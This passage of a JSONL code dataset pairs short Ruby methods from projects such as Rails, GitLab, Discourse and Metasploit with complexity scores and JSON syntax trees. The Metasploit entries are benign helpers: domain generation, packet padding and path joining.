Method\"]},{\"type\":\"str\",\"children\":[\"POST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"str\",\"children\":[\"POST\"]},{\"type\":\"str\",\"children\":[\"PUT\"]}]}]}]}]}]}]}]}","id":"1cd4d4e9-89f2-4603-8e25-5aee29cc1f1b"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/spec/respond_with_spec.rb","start_line":20,"raw_source":"def respond_with(*args, &block)\n    respond_app { get('/') { respond_with(*args, &block) } }\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_with\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_app\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"respond_with\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}","id":"aa665882-8a29-40f0-bf6f-1fd396e95324"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/schema_settings_object_validator.rb","start_line":256,"raw_source":"def valid_ids(type)\n    valid_ids_lookup[type] ||= begin\n      column = TYPE_TO_MODEL_MAP[type][:column] || :id\n\n      Set.new(\n        TYPE_TO_MODEL_MAP[type][:klass].where(\n          column => fetch_property_values_of_type(@properties, @object, type),\n        ).pluck(column),\n      )\n    end\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_ids_lookup\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPE_TO_MODEL_MAP\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"column\"]}]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPE_TO_MODEL_MAP\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"klass\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"send\",\"children\":[null,\"fetch_property_values_of_type\",{\"type\":\"ivar\",\"children\":[\"@properties\"]},{\"type\":\"ivar\",\"children\":[\"@object\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]},\"pluck\",{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]}]}]}","id":"437b7ecd-3d95-46c6-b258-398ec201ba1c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_string_escape.rb","start_line":139,"raw_source":"def heredoc_with_disabled_interpolation?(node)\n          if heredoc?(node)\n            node.source.end_with?(\"'\")\n          elsif node.parent&.dstr_type?\n            heredoc_with_disabled_interpolation?(node.parent)\n          else\n            false\n          end\n        end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"heredoc_with_disabled_interpolation?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"heredoc?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"dstr_type?\"]},{\"type\":\"send\",\"children\":[null,\"heredoc_with_disabled_interpolation?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"fa47f256-3441-43fc-8b73-bc712199a98c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb","start_line":173,"raw_source":"def setup_fqdn(domain, entry)\n    if domain.nil?\n      domain = ''\n      domain << Rex::Text.rand_text_alphanumeric(2..63)\n      domain << '.'\n      domain << Rex::Text.rand_text_alphanumeric(3..63)\n      domain << '.'\n      domain << Rex::Text.rand_text_alphanumeric(2..63)\n    elsif @dnsfile\n      domain = entry + '.' + domain\n    else\n      domain = Rex::Text.rand_text_alphanumeric(2..63) + '.' + domain\n    end\n\n    return domain\n  end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_fqdn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]},{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[63]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"<<\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[63]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"<<\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[63]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dnsfile\"]},{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"+\",{\"type\":\"str\",\"children\":[\".\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[63]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}","id":"0f33fce0-49fd-44c5-8749-dbb35e0771f4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ldap/active_directory/security_descriptor_matcher.rb","start_line":140,"raw_source":"def initialize(matchers)\n          @matchers = Array.wrap(matchers)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"matchers\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@matchers\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"matchers\"]}]}]}]}","id":"ab9a2c4a-f9e2-4a76-8110-1ea9d804d3e2"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/html_safe_translation.rb","start_line":48,"raw_source":"def html_safe_translation(translation)\n        if translation.respond_to?(:map)\n          translation.map { |element| element.respond_to?(:html_safe) ? element.html_safe : element }\n        else\n          translation.respond_to?(:html_safe) ? translation.html_safe : translation\n        end\n      end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"html_safe_translation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"translation\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"map\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"html_safe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"html_safe\"]},{\"type\":\"lvar\",\"children\":[\"element\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"html_safe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation\"]},\"html_safe\"]},{\"type\":\"lvar\",\"children\":[\"translation\"]}]}]}]}","id":"90926bb0-1a2a-4dfa-9280-a6b89fcd8781"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/variables/collection.rb","start_line":46,"raw_source":"def concat(resources)\n          return self if resources.nil?\n\n          tap { resources.each { |variable| self.append(variable) } }\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"concat\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resources\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"self\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"append\",{\"type\":\"lvar\",\"children\":[\"variable\"]}]}]}]}]}]}","id":"88e1457f-2a32-425b-8012-048534fb6f61"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_pool_test.rb","start_line":116,"raw_source":"def test_active_connection_in_use\n        assert_not_predicate pool, :active_connection?\n        main_thread = pool.lease_connection\n\n        assert_predicate pool, :active_connection?\n\n        main_thread.close\n\n        assert_not_predicate pool, :active_connection?\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_active_connection_in_use\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[null,\"pool\"]},{\"type\":\"sym\",\"children\":[\"active_connection?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"main_thread\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pool\"]},\"lease_connection\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[null,\"pool\"]},{\"type\":\"sym\",\"children\":[\"active_connection?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"main_thread\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[null,\"pool\"]},{\"type\":\"sym\",\"children\":[\"active_connection?\"]}]}]}]}","id":"bd11701a-53c6-4603-80c6-beffcde39ccc"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/paperclip/lazy_thumbnail.rb","start_line":35,"raw_source":"def needs_metadata_stripping?\n      @attachment.instance.respond_to?(:local?) && @attachment.instance.local?\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"needs_metadata_stripping?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attachment\"]},\"instance\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"local?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attachment\"]},\"instance\"]},\"local?\"]}]}]}","id":"2ca5eee8-3172-4cbc-abe1-23f1e309fd9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/sessions_controller.rb","start_line":177,"raw_source":"def save_failed_login\n    session[:failed_login_attempts] ||= 0\n    session[:failed_login_attempts] += 1\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"def\",\"children\":[\"save_failed_login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"failed_login_attempts\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"failed_login_attempts\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"c777863c-c061-41dc-b646-fe78911521d6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/ssh/ssh_erlangotp_rce.rb","start_line":141,"raw_source":"def pad_packet(payload, block_size)\n    min_padding = 4\n    payload_length = payload.length\n    padding_len = block_size - ((payload_length + 5) % block_size)\n    padding_len += block_size if padding_len < min_padding\n    [(payload_length + 1 + padding_len)].pack('N') +\n      [padding_len].pack('C') +\n      payload +\n      \"\\x00\" * padding_len\n  end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"pad_packet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"arg\",\"children\":[\"block_size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"min_padding\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_length\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"padding_len\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_size\"]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_length\"]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]},\"%\",{\"type\":\"lvar\",\"children\":[\"block_size\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"padding_len\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"min_padding\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"padding_len\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"block_size\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_length\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"padding_len\"]}]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"padding_len\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"padding_len\"]}]}]}]}]}","id":"106ec432-1923-4ade-907d-36b92d4e5ff1"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/lib/account_statuses_filter_spec.rb","start_line":231,"raw_source":"def results_unique_visibilities\n      subject.pluck(:visibility).uniq\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"results_unique_visibilities\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"visibility\"]}]},\"uniq\"]}]}","id":"c173007c-f880-4a7f-b716-834365d40680"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/shared/custom_fields/hierarchy.rb","start_line":40,"raw_source":"def value_objects\n            CustomField::Hierarchy::Item\n              .where(id: @values)\n              .map { |item| CustomField::Hierarchy::HierarchyItemAdapter.new(item:) }\n          end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"value_objects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomField\"]},\"Hierarchy\"]},\"Item\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"ivar\",\"children\":[\"@values\"]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomField\"]},\"Hierarchy\"]},\"HierarchyItemAdapter\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item\"]},{\"type\":\"lvar\",\"children\":[\"item\"]}]}]}]}]}]}","id":"4992644d-ae26-48fc-894b-1ff66e0e60e1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_configurations/hash_config_test.rb","start_line":67,"raw_source":"def test_max_connections_unlimited_when_nil\n        config = HashConfig.new(\"default_env\", \"primary\", max_connections: nil, adapter: \"abstract\")\n        assert_nil config.max_connections\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_max_connections_unlimited_when_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_connections\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"max_connections\"]}]}]}]}","id":"85b57d2b-7e84-4162-abfe-b8074872a968"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/dialects/command.rb","start_line":86,"raw_source":"def system_msg(msg)\n          cmd_msg = { role: \"SYSTEM\", message: msg[:content] }\n\n          if tools_dialect.instructions.present?\n            cmd_msg[:message] = [\n              msg[:content],\n              tools_dialect.instructions,\n              \"NEVER attempt to run tools using JSON, always use XML. Lives depend on it.\",\n            ].join(\"\\n\")\n          end\n\n          cmd_msg\n        end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"system_msg\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd_msg\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"SYSTEM\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tools_dialect\"]},\"instructions\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_msg\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tools_dialect\"]},\"instructions\"]},{\"type\":\"str\",\"children\":[\"NEVER attempt to run tools using JSON, always use XML. Lives depend on it.\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"cmd_msg\"]}]}]}","id":"92fb4619-63a5-4f9c-9c17-2e1fb8fd7dc5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/scriptable.rb","start_line":41,"raw_source":"def user_script_base\n      ::File.join(Msf::Config.user_script_directory, self.type)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_script_base\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"user_script_directory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"type\"]}]}]}","id":"9716ddd9-6cc6-4be0-a189-22da3bf090b4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/test_suite_comparer.rb","start_line":69,"raw_source":"def total_count\n          head_suite.total_count\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"total_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"head_suite\"]},\"total_count\"]}]}","id":"4213a26e-f167-4b3a-a65f-b3060a43e678"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":775,"raw_source":"def use_relative_controller!\n          if !named_route && different_controller? && !controller.start_with?(\"/\")\n            old_parts = current_controller.split(\"/\")\n            size = controller.count(\"/\") + 1\n            parts = old_parts[0...-size] << controller\n            @options[:controller] = parts.join(\"/\")\n          end\n        end","complexity_score":29.65,"ast_json":"{\"type\":\"def\",\"children\":[\"use_relative_controller!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"named_route\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"different_controller?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_parts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_controller\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"count\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_parts\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"-@\"]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"controller\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},null]}]}","id":"6e557c76-4d7c-4922-ba66-78dbefc2cf44"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/support/lib/module_validation.rb","start_line":202,"raw_source":"def validate_name_does_not_contain_non_printable_chars\n      unless name&.match?(/\\A[ -~]+\\z/)\n        errors.add :name, 'must only contain human-readable printable ascii characters'\n      end\n    end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_name_does_not_contain_non_printable_chars\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A[ -~]+\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"must only contain human-readable printable ascii characters\"]}]}]}]}","id":"3ca1a4b0-3877-4b35-8d42-c345614f5cd6"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/aasm.rb","start_line":145,"raw_source":"def aasm_fired(state_machine_name, event, old_state, new_state_name, options, *args)\n    persist = options[:persist]\n\n    new_state = aasm(state_machine_name).state_object_for_name(new_state_name)\n    callback_args = process_args(event, aasm(state_machine_name).current_state, *args)\n\n    new_state.fire_callbacks(:before_enter, self, *callback_args)\n\n    new_state.fire_callbacks(:enter, self, *callback_args) # TODO: remove for AASM 4?\n\n    persist_successful = true\n    if persist\n      persist_successful = aasm(state_machine_name).set_current_state_with_persistence(new_state_name)\n      if persist_successful\n        yield if block_given?\n        event.fire_callbacks(:before_success, self, *callback_args)\n        event.fire_transition_callbacks(self, *process_args(event, old_state.name, *args))\n        event.fire_callbacks(:success, self, *callback_args)\n      end\n    else\n      aasm(state_machine_name).current_state = new_state_name\n      yield if block_given?\n    end\n\n    binding_event = event.options[:binding_event]\n    if binding_event\n      __send__(\"#{binding_event}#{'!' if persist}\")\n    end\n\n    if persist_successful\n      old_state.fire_callbacks(:after_exit, self, *callback_args)\n      new_state.fire_callbacks(:after_enter, self, *callback_args)\n      event.fire_callbacks(\n        :after,\n        